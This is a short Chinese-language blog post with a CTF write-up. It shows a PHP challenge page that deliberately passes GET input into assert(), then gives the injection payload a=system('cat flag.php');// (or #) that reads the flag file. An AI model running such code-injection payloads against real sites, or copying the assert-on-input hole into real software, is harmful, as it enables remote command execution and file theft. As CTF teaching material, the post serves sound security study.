

# HashTeam web\_白给 writeup

原创

[Mitch311](#) 于 2020-12-27 20:55:38 发布 57 收藏

分类专栏: [CTF](#) 文章标签: [unctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/Mitchell\\_Donovan/article/details/111826138](https://blog.csdn.net/Mitchell_Donovan/article/details/111826138)

版权



[CTF 专栏收录该内容](#)

51 篇文章 3 订阅

订阅专栏

## HashTeam web\_白给

[原题链接](#)

**key:基础绕过技巧**

①打开网页看到如下php代码

```
<?php
require_once('flag.php');
error_reporting(0);

if(!isset($_GET['b'])){
    highlight_file(__FILE__);
    die();
}else{
    $a=$_GET['a'];
    $b=$_GET['b'];
    if($_GET['b']!="HashTeam"){
        die('die...');
    }
    assert("$a == $b");
    // flag在哪里啊?
}
?>
```

②进行代码审计, 发现`assert()`函数可以进行任意代码执行, 但需要绕过后半部分的判断, 可以通过构造`#`或者`//`使后半部分被注释掉

还可以发现`index.php`已经被包含进来了, 那就好办了

传参`?b=HashTeam&a=system('cat flag.php');//`

或者`?b=HashTeam&a=system('cat flag.php');#`

③传完参数得到一个空白页面，差不多是成了，查看源代码果然找到了flag